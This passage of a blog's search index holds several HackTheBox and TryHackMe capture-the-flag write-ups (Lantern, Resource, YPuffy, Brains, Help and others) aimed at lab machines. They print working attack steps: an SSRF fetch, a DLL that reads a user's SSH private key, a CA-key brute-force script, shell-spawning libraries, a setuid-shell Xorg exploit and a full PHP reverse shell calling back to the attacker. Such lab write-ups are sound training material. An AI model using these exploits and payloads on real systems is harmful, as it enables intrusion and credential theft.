MainHandler) httpd.socket = context.wrap_socket(httpd.socket, server_side=True) print(\u0026#34;Serving on https://0.0.0.0:8443\u0026#34;) httpd.serve_forever() Run the following commands to get a shell:\nnano rce chmod +x rce ./rce Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://\u0026lt;vpn-ip\u0026gt;.\nFinally, read the flags:\ncat /home/htb/user.txt cat /root/root.txt Summary Jarmis: use CVE-2021-38647 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Jarmis/","protected":null,"snippet":"Jarmis: use CVE-2021-38647 where it fits the service, gain a shell, and escalate to root.","tags":["htb","windows","linux","cve-2021-38647"],"title":"HackTheBox Jarmis Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.29 lantern.htb Script to add hosts automatically ip=\u0026#34;10.10.11.29\u0026#34; domain=\u0026#34;lantern.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping 22 - SSH 80 - HTTP 3000 - Blazor application whatweb http://lantern.htb/ -v Web Application Insights When accessing http://lantern.htb:3000, the console logs:\n\u0026lt;script src=\u0026#34;_framework/blazor.server.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; WebSocket connection:\nWebSocket connected to ws://lantern.htb:3000/_blazor?id=-ODx7yAVlF-M0fiXgTGXag. Exploring further:\nhttp://lantern.htb:3000/_framework/blazor.boot.json Potential SSRF Exploit (CVE-2022-38580) Reference: Exploit-DB 51111\nThe target site operates as an IT company and allows users to upload resumes at:\nhttp://lantern.htb/vacancies The site is vulnerable to SSRF on ports 80 and 3000. Accessing /_framework/blazor.boot.json reveals Blazor DLLs. You can retrieve InternaLantern.dll through an SSRF exploit. For reference, the structure of the Blazor DLLs in _framework can be explored in this repository:\nBlazorStyled Framework Structure\nRetrive Information About dlls GET /_framework/blazor.boot.json HTTP/1.1 X-Skipper-Proxy: http://127.0.0.1:5000 Host: lantern.htb Connection: close Retrieve the DLL Download the DLL using the following HTTP GET request with Skipper Proxy:\nwget http://lantern.htb/_framework/InternaLantern.dll \\ --header=\u0026#34;X-Skipper-Proxy: http://127.0.0.1:5000\u0026#34; \\ --header=\u0026#34;Host: lantern.htb\u0026#34; --header=\u0026#34;Connection: close\u0026#34; \\ -O InternaLantern.dll Port 5000 was identified through fuzzing.\nThis command uses the SSRF vulnerability to retrieve the internal InternaLantern.dll file, leveraging Skipper Proxy.\nDecompiling the DLL File While dnSpy provides a comprehensive analysis of .NET assemblies, you can use avaloniailspy as a Linux-friendly alternative.\nOpen InternaLantern.dll. Navigate to:\nInternaLantern \u0026gt; InternalLantern.Pages \u0026gt; Internal \u0026gt; OnInitializedAsync Search for instances of Convert.FromBase64String containing Base64 strings. Pay special attention to the last occurrence. Decode the Base64 string to uncover the password for logging in at http://lantern.htb:3000/. Exploiting .NET Components Install .NET 6 SDK Install the .NET 6 SDK with your package manager using dotnet-sdk-6.0.\nCreate and Configure the .NET Project Start by creating a new directory for your project and navigate into it. Then initialize a new console application:\ndotnet new console -n sedlyf -f net6.0 cd sedlyf dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 sed -i \u0026#39;s/net8.0/net6.0/\u0026#39; sedlyf.csproj sed -i \u0026#39;s/Exe/Library/\u0026#39; sedlyf.csproj Update Program.cs Replace the contents of Program.cs with the following code to include functionality for utilizing the render tree builder from ASP.NET components:\nusing Microsoft.AspNetCore.Components; using Microsoft.AspNetCore.Components.Rendering; using System.IO; namespace sedlyf { public class Component : ComponentBase { protected override void BuildRenderTree(RenderTreeBuilder builder) { base.BuildRenderTree(builder); string file = File.ReadAllText(\u0026#34;/home/tomas/.ssh/id_rsa\u0026#34;); builder.AddContent(0, file); } } } Build the DLL Compile your project to generate a DLL file with the following command, ensuring you are in the project directory:\ndotnet build -c Release This builds the project in release mode. The resulting DLL file, sedlyf.dll, will be located under bin/Release/net6.0/.\nFile Upload Upload sedlyf.dll using the Upload content feature at http://lantern.htb:3000/.\nIntercept and Modify the Request:\nUse Burp Suite to intercept the request. Install the Blazor Traffic extension for data serialization and deserialization. Right-click the request, navigate to Extensions \u0026gt; Blazor Traffic Processor, and select Send Body to BTP tab. Deserialize the body and modify the upload path by replacing sedlyf.dll with ../../../../../../opt/components/sedlyf.dll. After making the modification, reserialize the body and insert it back into the request. Forward all requests and disable interception when finished. After the upload is successful, search for the sedlyf module to reveal its key.\nnano id_rsa chmod 600 id_rsa ssh -i id_rsa tomas@lantern.htb cat user.txt cat /var/mail/$(whoami) sudo -l User tomas may run the following commands on lantern: (ALL : ALL) NOPASSWD: /usr/bin/procmon ps -aef | grep automation Monitor automation.sh and capture its output.\nOLD_PID=$(ps -ef | grep -i nano | grep -v grep | awk \u0026#39;{print $2}\u0026#39;) while true; do NEWPID=$(ps -ef | grep -i nano | grep -v grep | awk \u0026#39;{print $2}\u0026#39;) if [ \u0026#34;$OLD_PID\u0026#34; != \u0026#34;$NEWPID\u0026#34; ] \u0026amp;\u0026amp; [[ -n \u0026#34;$NEWPID\u0026#34; ]]; then echo \u0026#34;We have a new PID! Old PID: $OLD_PID, New PID: $NEWPID\u0026#34; OLD_PID=$NEWPID sudo /usr/bin/procmon -p $NEWPID -e write -c nano$NEWPID.out fi sleep 5 done Wait for approximately 2 minutes or until you have captured 5,000 lines of output.\nThen, download the dumped data to your local machine.\nscp -i id_rsa tomas@lantern.htb:/home/tomas/nano*.out nano*.out Run a Python REPL.\npython and paste\nimport sqlite3, binascii, glob file = glob.glob(\u0026#39;./nano*.out\u0026#39;)[0] with sqlite3.connect(file) as conn: cursor = conn.cursor() cursor.execute(\u0026#34;SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode \u0026gt; 0 ORDER BY timestamp;\u0026#34;) hex_data = \u0026#39;\u0026#39;.join([row[0] for row in cursor.fetchall()]) binary_data = binascii.unhexlify(hex_data) decoded_string = binary_data.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;replace\u0026#39;) print(\u0026#34;Decoded Data:\\n\u0026#34;, decoded_string) Decoded data without escape codes: Q 33EEddddttddww33ppMMBB\nRemoving duplicates results in: Q3Eddtdw3pMB.\nsu root cat /root/root.txt Summary Lantern: use CVE-2022-38580 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-15T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Lantern/","protected":null,"snippet":"Lantern: use CVE-2022-38580 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2022-38580"],"title":"HackTheBox  Lantern Writeup"},{"categories":["machine"],"contents":"","date":"2024-10-14T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-MonitorsThree/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux","cve-2024-25641"],"title":"HackTheBox  MonitorsThree Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.27 ssg.htb itrc.ssg.htb Script to add hosts automatically ip=\u0026#34;10.10.11.27\u0026#34; domain=\u0026#34;ssg.htb itrc.ssg.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV itrc.ssg.htb Nmap scan report for itrc.ssg.htb (10.10.11.27) Host is up (0.052s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA) |_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://itrc.ssg.htb/ 2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA) |_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Foothold copy the coockie value PHPSESSID\ncurl http://itrc.ssg.htb/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip -b \u0026#39;PHPSESSID=\u0026lt;value\u0026gt;\u0026#39; -o c2f4813259cc57fab36b311c5058cf031cb6eb51.zip unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip grep -oP \u0026#39;user=[^\u0026amp;]+\u0026amp;pass=[^\u0026#34;]+\u0026#39; itrc.ssg.htb.har rm -rf c2f4813259cc57fab36b311c5058cf031cb6eb51.zip itrc.ssg.htb.har ssh msainristil@itrc.ssg.htb CA Cert Autority cd decommission_old_ca/ ssh-keygen -t rsa -b 2048 -f keypair ssh-keygen -s ca-itrc -I user-cert -n root -V +52w -z 12345 keypair.pub ssh -o CertificateFile=keypair-cert.pub -i keypair root@localhost cat /home/zzinter/user.txt exit Now for zzinter cd decommission_old_ca/ ssh-keygen -t rsa -C zzinter@ssg.htb -f users_key ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub in you local pc:\nscp msainristil@itrc.ssg.htb:\u0026#39;/home/msainristil/decommission_old_ca/user***\u0026#39; . ssh -i users_key zzinter@ssg.htb to move from zzinter@itrc to the docker host\ncp sign_key_api.sh sign.sh chmod +x sign.sh sed -i \u0026#39;s/supported_principals=\u0026#34;webserver,analytics,support,security\u0026#34;/supported_principals=\u0026#34;webserver,analytics,support,security,zzinter_temp\u0026#34;/\u0026#39; sign.sh rm -f keypair* ssh-keygen -f keypair ./sign.sh keypair.pub zzinter zzinter_temp | tee keypair-cert.pub ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@172.223.0.1 -p 2222 172.223.0.1 was identified through a ping sweep and port scan.\nNow for root nano exploit.py #!/bin/env python import subprocess import string def run_signing_command(pattern): with open(\u0026#39;/tmp/ca-test\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(pattern) result = subprocess.run([\u0026#39;sudo\u0026#39;, \u0026#39;/opt/sign_key.sh\u0026#39;, \u0026#39;/tmp/ca-test\u0026#39;, \u0026#39;root.pub\u0026#39;, \u0026#39;root\u0026#39;, \u0026#39;root_user\u0026#39;, \u0026#39;ABCD\u0026#39;], capture_output=True, text=True) return result.stdout.strip(), result.stderr.strip() def brute_force_patterns(): chars = string.ascii_letters + string.digits + \u0026#39;-+=/ \\r\\n\u0026#39; base_pattern = \u0026#39;\u0026#39; while True: found = False for char in chars: pattern = base_pattern + char + \u0026#39;*\u0026#39; stdout, _ = run_signing_command(pattern) if \u0026#34;Error: Use API for signing with this CA.\u0026#34; in stdout: base_pattern += char print(base_pattern) found = True break if not found: break return base_pattern if __name__ == \u0026#39;__main__\u0026#39;: ca_key = brute_force_patterns() if \u0026#34;-----END OPENSSH PRIVATE KEY-----\u0026#34; in ca_key: with open(\u0026#34;ca-it\u0026#34;, \u0026#34;w\u0026#34;) as file: file.write(ca_key) print(\u0026#34;\\n\\nSuccess\\n\u0026#34;) else: exit(\u0026#34;\\n\\nFail\\n\u0026#34;) python exploit.py now in your local pc use the key:\nnano pwn.key chmod 600 pwn.key yes | ssh-keygen -f root ssh-keygen -s pwn.key -z 200 -I root -V -10w:forever -n root_user root.pub ssh root@itrc.ssg.htb -p 2222 -i root -i root-cert.pub cat /root/root.txt Summary Resource: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.\n","date":"2024-10-14T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Resource/","protected":null,"snippet":"Resource: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.","tags":["htb","linux","docker"],"title":"HackTheBox  Resource Writeup"},{"categories":["machine"],"contents":"","date":"2024-10-12T12:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Instant/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux"],"title":"HackTheBox Instant Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.107 ypuffy.htb Script to add hosts automatically ip=\u0026#34;10.10.10.107\u0026#34; domain=\u0026#34;ypuffy.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV ypuffy.htb Nmap scan report for ypuffy.htb (10.10.10.107) Host is up (0.050s latency). Not shown: 995 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA) | 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA) |_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519) 80/tcp open http OpenBSD httpd 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY) 389/tcp open ldap (Anonymous bind OK) 445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY) Service Info: Host: YPUFFY Host script results: | smb2-time: | date: 2024-10-12T07:26:44 |_ start_date: N/A |_clock-skew: mean: 1h19m58s, deviation: 2h18m34s, median: -2s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6) | Computer name: ypuffy | NetBIOS computer name: YPUFFY\\x00 | Domain name: hackthebox.htb | FQDN: ypuffy.hackthebox.htb |_ System time: 2024-10-12T03:26:45-04:00 LDAP and SMB Privilege Escalation on OpenBSD An Nmap scan shows that LDAP allows anonymous login:\n389/tcp open ldap (Anonymous bind OK) You can refer to HackTricks: Pentesting LDAP for more insights.\nLDAP Enumeration and Finding Alice\u0026rsquo;s Hash First, enumerate the LDAP service:\ndc=$(ldapsearch -x -H ldap://ypuffy.htb -s base \u0026#34;namingcontexts\u0026#34; | sed -n \u0026#39;s/^.*namingContexts: //p\u0026#39;) ldapsearch -x -H ldap://ypuffy.htb -b \u0026#34;$dc\u0026#34; Alternatively, use Nmap for LDAP enumeration:\nnmap -n -sV --script \u0026#34;ldap* and not brute\u0026#34; ypuffy.htb During the enumeration, you\u0026rsquo;ll find the sambaNTPassword hash for user alice1978.\nAccess SMB Shares and Download Private Key Use Alice\u0026rsquo;s hash to list SMB shares and download her private key:\nsmbmap -u alice1978 -p \u0026#39;00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B\u0026#39; -H ypuffy.htb -r smbmap -u alice1978 -p \u0026#39;00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B\u0026#39; -H ypuffy.htb --download alice/my_private_key.ppk Convert Key to OpenSSH and SSH into the Machine Convert the .ppk key to OpenSSH format and clean up:\nputtygen 10.10.10.107-alice_my_private_key.ppk -O private-openssh -o alice_private.key rm -rf 10.10.10.107-alice_my_private_key.ppk Now, SSH into the machine:\nssh -i alice_private.key alice1978@ypuffy.htb Retrieve the user flag:\ncat user.txt Privilege Escalation via doas Check the doas configuration:\ncat /etc/doas.conf Alice is allowed to run ssh-keygen as userca:\npermit keepenv :wheel permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen With this, you can further escalate privileges.\nSSH-Keygen Privilege Escalation Using information from GTFOBins: ssh-keygen, we can exploit the ability to load arbitrary libraries as userca. While switching to userca isn\u0026rsquo;t strictly necessary, I did so to explore and test shell payloads in .so libraries.\ncd /tmp nano poc.c gcc -shared -fPIC -o lib.so poc.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #define SHELL_PATH \u0026#34;/bin/sh\u0026#34; #define SHELL_COMMAND \u0026#34;/bin/sh\u0026#34; void __attribute__ ((constructor)) constructor() { puts(\u0026#34;[starting shell]\u0026#34;); printf(\u0026#34;Starting %s\\n\u0026#34;, SHELL_COMMAND); long long err = execl(SHELL_PATH, SHELL_PATH, \u0026#34;-c\u0026#34;, SHELL_COMMAND, NULL); printf(\u0026#34;Result: %lld\\n\u0026#34;, err); } Next, use ssh-keygen to load the malicious library:\ndoas -u userca /usr/bin/ssh-keygen -D ./lib.so Now, we have escalated privileges to userca:\nypuffy$ id uid=1001(userca) gid=1001(userca) groups=1001(userca) cat /etc/ssh/ssh_config The presence of AuthorizedKeysCommand, AuthorizedPrincipalsCommand, and TrustedUserCAKeys /home/userca/ca.pub indicates that a Certificate Authority (CA) is in place for SSH authentication.\ncd /home/userca/.ssh ssh-keygen -t ecdsa /usr/bin/ssh-keygen -s /home/userca/ca -I alice1978 -n \u0026#34;$(curl -s \u0026#34;http://127.0.0.1/sshauth?type=principals\u0026amp;username=root\u0026#34;)\u0026#34; -z 1 id_ecdsa.pub ssh -i id_ecdsa root@localhost cat /root/root.txt CVE-2018-14665 Exploitation on OpenBSD Alternative Privilege Escalation\nTo verify the system version, run:\nuname -a Example output:\nOpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64 This version, OpenBSD 6.3, is vulnerable to CVE-2018-14665, a flaw that allows privilege escalation due to improper handling of X server access controls.\nFor detailed exploitation steps, refer to the Exploit-DB entry.\ncat \u0026lt;\u0026lt; EOF \u0026gt; /tmp/xorgasm cp /bin/sh /usr/local/bin/pwned echo \u0026#34;main(){setuid(0);setgid(0);system(\\\u0026#34;/bin/sh\\\u0026#34;);}\u0026#34; \u0026gt; /tmp/pwned.c gcc /tmp/pwned.c -o /usr/local/bin/pwned chmod 4777 /usr/local/bin/pwned EOF chmod +x /tmp/xorgasm cd /etc Xorg -fp \u0026#34;* * * * * root /tmp/xorgasm\u0026#34; -logfile crontab :1 \u0026amp; sleep 5 pkill Xorg echo echo \u0026#34;Be patient for a couple of minutes...\u0026#34; echo sleep 120 echo echo \u0026#34;Don\u0026#39;t forget to cleanup and run crontab -e to reload the crontab.\u0026#34; ls -l /etc/crontab* ls -l /usr/local/bin/pwned /usr/local/bin/pwned Summary YPuffy: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-YPuffy/","protected":null,"snippet":"YPuffy: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","smb","ldap","cve-2018-14665"],"title":"HackTheBox YPuffy Writeup"},{"categories":["machine"],"contents":"https://tryhackme.com/r/room/brains\nAdd Hosts 10.10.4.11 brains.thm Script to add hosts automatically ip=\u0026#34;10.10.4.11\u0026#34; domain=\u0026#34;brains.thm\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV brains.thm Nmap scan report for brains.thm (10.10.4.11) Host is up (0.068s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 10:6e:04:57:87:92:95:45:7b:ab:41:5a:c0:fa:e2:df (RSA) | 256 77:f7:0f:b1:b2:69:b6:14:27:41:cc:ad:db:45:34:13 (ECDSA) |_ 256 5f:79:66:d8:2c:c3:8c:e0:38:2a:7a:aa:2a:16:1a:10 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Maintenance 50000/tcp open http Apache Tomcat (language: en) | http-methods: |_ Potentially risky methods: TRACE |_http-title: TeamCity Maintenance \u0026amp;mdash; TeamCity Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Login Details URL: http://brains.thm:50000/login.html\nJetBrains Version: 2023.11.3 (build 147512)\nCVE-2024-27198 GitHub Repository for CVE-2024-27198 Exploit\nTo use the exploit, you can download and run the Python script from the repository:\nwget https://raw.githubusercontent.com/W01fh4cker/CVE-2024-27198-RCE/refs/heads/main/CVE-2024-27198-RCE.py python3 CVE-2024-27198-RCE.py -t \u0026#34;http://brains.thm:50000/\u0026#34; rm -rf CVE-2024-27198-RCE.py After running the exploit, you might want to check for the output or the flag:\ncat /home/ubuntu/flag.txt Blue Team Defensive Monitoring After launching the new machine instance, wait approximately 5 minutes to ensure the machine has fully started.\nMonitoring Endpoint:\nURL: http://10.10.24.83:8000/en-US/app/search/search Investigation Queries Backdoor User Creation: Query the authentication logs to identify any unauthorized user creation events:\nsource=\u0026#34;/var/log/auth.log\u0026#34; *useradd* Suspicious Package Installation: Check the package manager logs for any unexpected installations on July 4:\nsource=\u0026#34;/var/log/dpkg.log\u0026#34; date_month=\u0026#34;july\u0026#34; date_mday=\u0026#34;4\u0026#34; *install* Plugin Installation: Review the TeamCity server logs for any new plugin installations:\nsource=\u0026#34;/opt/teamcity/TeamCity/logs/teamcity-activities.log\u0026#34; *plugin* Summary Brains: use CVE-2024-27198 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-10T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-Brains/","protected":null,"snippet":"Brains: use CVE-2024-27198 where it fits the service, gain a shell, and escalate to root.","tags":["thm","linux","cve-2024-27198"],"title":"TryHackMe Brains Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.121 help.htb Script to add hosts automatically ip=\u0026#34;10.10.10.121\u0026#34; domain=\u0026#34;help.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV help.htb Nmap scan report for help.htb (10.10.10.121) Host is up (0.052s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) 80/tcp open http Apache httpd 2.4.18 |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Site doesn\u0026#39;t have a title (application/json; charset=utf-8). Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel HelpDeskZ and GraphQL Endpoint Discovery Port Overview Port 80: Exposes a HelpDeskZ page in /support. Port 3000: Exposes a GraphQL endpoint. Fuzzing GraphQL Endpoints Using ffuf to fuzz the GraphQL endpoint:\nffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/graphql.txt -u \u0026#39;http://help.htb:3000/FUZZ\u0026#39; -X POST Results:\ngraphql/schema.xml [Status: 500, Size: 61] graphql [Status: 500, Size: 61] graphql/schema.yaml [Status: 500, Size: 61] graphql/schema.json [Status: 500, Size: 61] graphql/console [Status: 500, Size: 61] For more detailed information on exploiting GraphQL endpoints, refer to: HackTricks - GraphQL\nListing All Tables To list all available tables in the GraphQL schema:\nhttp://help.htb:3000/graphql/console?query={__schema{types{name,fields{name}}}} Extracting User Credentials Retrieving specific user information (username and password):\nhttp://help.htb:3000/graphql/console?query={user{username,password}} Response:\n{ \u0026#34;data\u0026#34;: { \u0026#34;user\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;helpme@helpme.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;5d3c93182bb20f07b994a7f617e99cff\u0026#34; } } } Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 0 /tmp/hash.txt --show rm -rf /tmp/hash.txt Fuzzing Port 80 for Additional Endpoints Using ffuf to fuzz for endpoints on port 80:\nffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/big.txt -u \u0026#39;http://help.htb/FUZZ\u0026#39; -X POST HelpDeskZ Foothold Repository: HelpDeskZ GitHub\nAuthenticated Exploit: Exploit 41200\nThis seems to be the intended exploit, as it requires the discovered email and password, though it takes more time.\nCreate a new ticket at: http://help.htb/support/?v=submit_ticket\nSubmit an image or text file as an attachment.\nOpen the newly created ticket and inspect the attached file.\nCopy the request in Burp Suite and send it to the repeater.\nThe vulnerable endpoint should resemble: /support/?v=view_tickets\u0026amp;action=ticket\u0026amp;param[]=4 Test the vulnerability by adding and 1=1-- - or and 1=2-- - to the query.\nUse SQLMap to exploit the vulnerability:\nEdit the re.req file to include the full domain (http://help.htb) in the GET request. sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p \u0026#34;param[]\u0026#34; --dbms=mysql --technique=B --batch Finded payload:\n--- Parameter: param[] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: v=view_tickets\u0026amp;action=ticket\u0026amp;param[]=4\u0026amp;param[]=attachment\u0026amp;param[]=1\u0026amp;param[]=6 AND 6987=6987 --- To dump the database, run:\nsqlmap -r $(pwd)/re.req --level 5 --risk 3 -p \u0026#34;param[]\u0026#34; --dbms=mysql --technique=B --batch --dump --threads 10 You will retrieve the SSH password.\nssh help@help.htb Unauthenticated Exploit: Exploit 40300\nWhile this may not be the intended method, it is easier to perform.\nnc -lvnp 9001 \u0026lt;?php set_time_limit (0); $VERSION = \u0026#34;1.0\u0026#34;; $ip = \u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;; $port = 9001; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; $daemon = 0; $debug = 0; if (function_exists(\u0026#39;pcntl_fork\u0026#39;)) { $pid = pcntl_fork(); if ($pid == -1) { printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); exit(1); } $daemon = 1; } else { printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); } chdir(\u0026#34;/\u0026#34;); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\u0026#34;$errstr ($errno)\u0026#34;); exit(1); } $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); while (1) { if (feof($sock)) { printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); break; } if (feof($pipes[1])) { printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); $input = fread($sock, $chunk_size); if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \u0026#34;$string\\n\u0026#34;; } } ?\u0026gt; #!/usr/bin/env python3 import hashlib import time import sys import requests print(\u0026#39;Helpdeskz v1.0.2 - Unauthenticated shell upload exploit\u0026#39;) if len(sys.argv) \u0026lt; 3: print(\u0026#34;Usage: {} [baseUrl] [nameOfUploadedFile]\u0026#34;.format(sys.argv[0])) sys.exit(1) helpdeskzBaseUrl = sys.argv[1] fileName = sys.argv[2] currentTime = int(time.time()) ext = fileName.split(\u0026#39;.\u0026#39;)[-1] for x in range(0, 300): plaintext = fileName + str(currentTime - x) md5hash = hashlib.md5(plaintext.encode(\u0026#39;utf-8\u0026#39;)).hexdigest() url = helpdeskzBaseUrl + md5hash + ext response = requests.head(url) if response.status_code == 200: print(\u0026#34;Found!\u0026#34;) print(url) sys.exit(0) print(\u0026#34;Sorry, I did not find anything\u0026#34;) Submit a revshell.php through the ticket submission functionality.\nchmod +x upload ./upload http://help.htb/support/uploads/tickets/ revshell.php cat /home/help/user.txt Get 